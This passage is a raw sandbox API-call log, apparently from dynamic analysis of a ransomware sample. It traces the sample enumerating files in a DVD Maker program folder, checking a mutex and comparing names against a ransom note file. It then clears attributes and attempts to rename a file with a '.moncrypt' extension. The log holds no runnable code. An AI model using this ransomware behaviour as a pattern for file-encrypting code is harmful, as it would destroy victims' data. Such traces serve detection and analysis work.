[0057.191] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.191] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.191] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.191] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.191] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0057.191] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\bod_r.TTF", cchWideChar=36, lpMultiByteStr=0x18e3c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\bod_r.TTFh", lpUsedDefaultChar=0x0) returned 36 [0057.191] CharLowerBuffW (in: lpsz=".TTF", cchLength=0x4 | out: lpsz=".ttf") returned 0x4 [0057.191] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".ttf", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ttfw", lpUsedDefaultChar=0x0) returned 4 [0057.192] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3f7a0d0, ftCreationTime.dwHighDateTime=0x1d56f70, ftLastAccessTime.dwLowDateTime=0x46679d50, ftLastAccessTime.dwHighDateTime=0x1d583e6, ftLastWriteTime.dwLowDateTime=0x46679d50, ftLastWriteTime.dwHighDateTime=0x1d583e6, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="constructedstartedsince.exe", cAlternateFileName="CONSTR~1.EXE")) returned 1 [0057.192] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0057.192] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0057.192] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.192] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.192] GlobalUnlock (hMem=0x44000c) returned 0 [0057.192] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.192] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.192] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.192] GlobalUnlock (hMem=0x44000c) returned 0 [0057.192] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.192] GlobalUnlock (hMem=0x440004) returned 0 [0057.192] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.192] CharLowerBuffW (in: lpsz="constructedstartedsince.exe", cchLength=0x1b | out: lpsz="constructedstartedsince.exe") returned 0x1b [0057.192] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.192] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.192] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.192] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.192] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.192] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.192] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.192] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.193] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0057.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\constructedstartedsince.exe", cchWideChar=54, lpMultiByteStr=0x18e3c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\constructedstartedsince.exec", lpUsedDefaultChar=0x0) returned 54 [0057.193] CharLowerBuffW (in: lpsz=".exe", cchLength=0x4 | out: lpsz=".exe") returned 0x4 [0057.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".exe", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".exeartedsince.exec", lpUsedDefaultChar=0x0) returned 4 [0057.193] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0ed7565, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="directshowtap.ax", cAlternateFileName="")) returned 1 [0057.193] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0057.193] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0057.194] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.194] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.194] GlobalUnlock (hMem=0x440004) returned 0 [0057.194] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.194] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.194] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.194] GlobalUnlock (hMem=0x440004) returned 0 [0057.194] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.194] GlobalUnlock (hMem=0x44000c) returned 0 [0057.194] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.194] CharLowerBuffW (in: lpsz="directshowtap.ax", cchLength=0x10 | out: lpsz="directshowtap.ax") returned 0x10 [0057.194] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.194] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.194] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.194] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.194] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.194] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.194] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.194] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.194] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.194] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.194] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.194] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.194] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.195] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.195] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.195] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.195] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0057.195] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\directshowtap.ax", cchWideChar=43, lpMultiByteStr=0x18e3c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\directshowtap.ax", lpUsedDefaultChar=0x0) returned 43 [0057.195] CharLowerBuffW (in: lpsz=".ax", cchLength=0x3 | out: lpsz=".ax") returned 0x3 [0057.195] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".ax", cchWideChar=3, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ax", lpUsedDefaultChar=0x0) returned 3 [0057.195] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\directshowtap.ax", lpFindFileData=0x18f184 | out: lpFindFileData=0x18f184*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0ed7565, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="directshowtap.ax", cAlternateFileName="")) returned 0x54e1c0 [0057.195] FileTimeToLocalFileTime (in: lpFileTime=0x18f198, lpLocalFileTime=0x18f0b0 | out: lpLocalFileTime=0x18f0b0) returned 1 [0057.195] FileTimeToDosDateTime (in: lpFileTime=0x18f0b0, lpFatDate=0x18f166, lpFatTime=0x18f164 | out: lpFatDate=0x18f166, lpFatTime=0x18f164) returned 1 [0057.195] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0057.195] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\directshowtap.ax", dwFileAttributes=0x20) returned 0 [0057.196] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18e0c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.196] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\directshowtap.ax" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\directshowtap.ax.moncrypt" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax.moncrypt")) returned 0 [0057.196] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ae6642, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc9ae6642, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x227600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe", cAlternateFileName="")) returned 1 [0057.196] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0057.196] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0057.196] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.196] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.196] GlobalUnlock (hMem=0x44000c) returned 0 [0057.196] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.196] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.196] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.196] GlobalUnlock (hMem=0x44000c) returned 0 [0057.196] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.196] GlobalUnlock (hMem=0x440004) returned 0 [0057.196] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.197] CharLowerBuffW (in: lpsz="DVDMaker.exe", cchLength=0xc | out: lpsz="dvdmaker.exe") returned 0xc [0057.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.197] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0057.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\DVDMaker.exe", cchWideChar=39, lpMultiByteStr=0x18e3c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\DVDMaker.exe", lpUsedDefaultChar=0x0) returned 39 [0057.197] 